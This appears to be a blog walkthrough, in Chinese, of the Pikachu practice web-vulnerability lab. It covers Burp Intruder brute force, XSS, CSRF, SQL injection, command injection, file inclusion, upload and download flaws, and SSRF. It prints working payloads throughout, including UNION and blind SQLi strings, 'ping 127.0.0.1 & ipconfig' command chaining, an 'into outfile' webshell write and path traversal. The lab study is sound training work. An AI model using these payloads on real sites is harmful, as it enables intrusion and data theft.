pikachu通关全集

暴力破解

       基于表单的暴力破解:

抓一个登陆的数据包,再使用intruder模块,将账号和密码设为变量,选择cluster bomb模式,对两个payload set进行设置字典,然后点开始攻

目标账号密码:admin/123456

通过数据包长度筛选查看

       验证码绕过(服务器端):

无刷新,则用一个数据包,再放入intruder中对变量进行修改,

已知账号密码爆破验证码即可

将数据包放入intruder中,对输入验证码处添加变量,

payload类型为brute forcer,修改字符串集为全英文,最小最大改为6,然后让数据包跑

       验证码绕过(客户端):

f12删除前端代码即可

       token防爆破:

将数据包放入intruder后,选择pitchfork攻击类型,

  1. 改为单线程
  2. grep-extract  →  add → fetch response → 选中token值 → ok
  3. redirections → always
  4. 对token的payload集设置为recursive grep(递归搜索)
  5. 设置初始的token为页面返回的token
  6. 开始攻击

XSS

       反射型:

get:用处不大,F12删除长度限制

post:登录后,通过submit提交

         存储型:

  打开该页面都会产生如果写入一个自动跳转xss

强制页面跳转,谨慎使用

       DOM

第一个:简单输入,F12查看发现,在href处有变化,即可以写一个跳转页面输入http://www.baidu.com

第二个:同上操作,点多几下

         xss盲打:

连接不上数据库,思路大概是管理员打开后台后会自动执行的xss

         xss过滤:

方法如下:

绕过html实例化:一些符号被编码后(转义),导致js语句失效

拼接在元素中的属性,例如执行动作类没

过滤关键字,替换等价函数

大小写绕过

单次过滤与多次过滤(替身绕过)

编码绕过

伪造页面来源(referer)

         检测是否从合法域名进入该页面,例如同一域名或开放了该接口给其他的合法域名等。如果不是则过滤,也称同源策略

         htmlspecialchars绕过:

'οnclick='alert(/xss/)'

         href输出:

夹js代码执行,输入javascript:alert(1)

         js输出

直接闭合,  ‘

总结:如果输入内容会在html的元素中输出,则考虑可以进行闭合然后新增恶意代码

CSRF

         CSRFGET:

伪造恶意url想办法让对方点击即可,例如结合xss使管理员用户修改信息

         /pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18626545453&add=chain&email=vince%40pikachu.com&submit=submit

         CSRF(POST):

由于是post方法,所以要利用自己搭建的恶意站点,例如通过xss漏洞为其跳转至恶意站点诱导其点击提交post方法,如果存在token可能无效;(token能在不同站点获取吗?)

         CSRFtoken:

由于本关存在token回显,所以可以通过恶意站点,将token的值获取,并伪造发送修改信息的数据包

SQLI

         数字型注入post

抓包获取 方法:

1 and 1 = 1# 正常

1 and 1 =2 # 不正常存在注入点

获取当前数据库名 -1 union select 1,database()#

获取当前数据库所有表 -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

获取用户表中的所有列属性-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#

获取用户数据-1 union select group_concat(username),group_concat(password) from users

         字符型注入get

操作同上类似,只是方法用get,写在url上

新方法:模糊查询(or)需要后端存在遍历操作才能全部显示在前端  %' or 1 = 1 #

         搜索型注入:

可知是模糊查询, 猜想格式如?%,所以如果在问号处输出%即可全部查询,语句同上

       xx型注入:(即不知道什么型)

此靶场则多了小括号闭合

‘) or 1 = 1# or 1 =1则意为全部匹配

         insert/update”注入:

报错注入:xxx' or updatexml(1,concat(0x7e,database()),0) or '

         delete”注入:

报错:id=66+or+updatexml(1,concat(0x7e,database(),0x7e,user()),1)

         http header”注入:

user-agent处报错注入 1' or updatexml(1,concat(0x7e,database()),0) or '

存在字符型使用报错注入方式,记得先闭合引号后面再接or ‘

         “布尔”盲注:

kobe' and ascii(substr(database(),1,1))=112#

语句解析:substr:将db名的第1位往后的1个字符取出,由ascii括起来的字符会输出一个int值,为该ascii位号,在判断是否等于112,如果是则查询存在,并返回查询集;如果不是则查询集不存在。

         “时间”盲注:

1' and if(substr(database(),1,1)='p',sleep(5),null)#

kobe’ and if((substr(database(),1,1))=’p’, sleep(5),null)#

RCE

         execping”:

没做字符串限制,可以直接连接符&  ping 127.0.0.1 & ipconfig

还可以用于探测内网地址,以受害机为跳板

         execevel”:

输入phpinfo();

文件包含

       本地:

抓包修改为file6即可

         远程:

使用一个非本地的文件,例如http://xxx.xx/1.txt

文件下载

修改路径../即可下载其他文件,一个不安全的文件下载接口,可以结合cms框架把整个项目下载下来

文件上传

       客户端检查:

F12删除特定代码即可

         MIME检查:

修改content-type为图片格式即可:image/png

         getimagesize:

图片马操作加文件包含漏洞,或者解析配置文件漏洞

        

       mysql写文件

1' union select '',1 into outfile 'c:\\phpstudy_pro\\WWW\\1.php' #

越权

         水平越权:

登录账号后点击查看时抓包,修改为其他用户的名称即可

         垂直越权:

由于是get方法,所以获知管理员创建用户的url即可伪造创建用户的操作

目录遍历

../dir.php即可访问目录遍历概述中的内容

敏感信息泄露

由于开发过程中,开发人员图方便,可能会将账号密码注释的方式写在前端上

XXE

URL重定向

可以用于伪造恶意的虚假的URL跳转地址,结合XSS伪造恶意地址

SSRF

从URL看可知会传一个地址,如果改成百度一下,你就知道则会出现百度的页面

 

你可能感兴趣的:(web安全,database,安全,数据库,sql)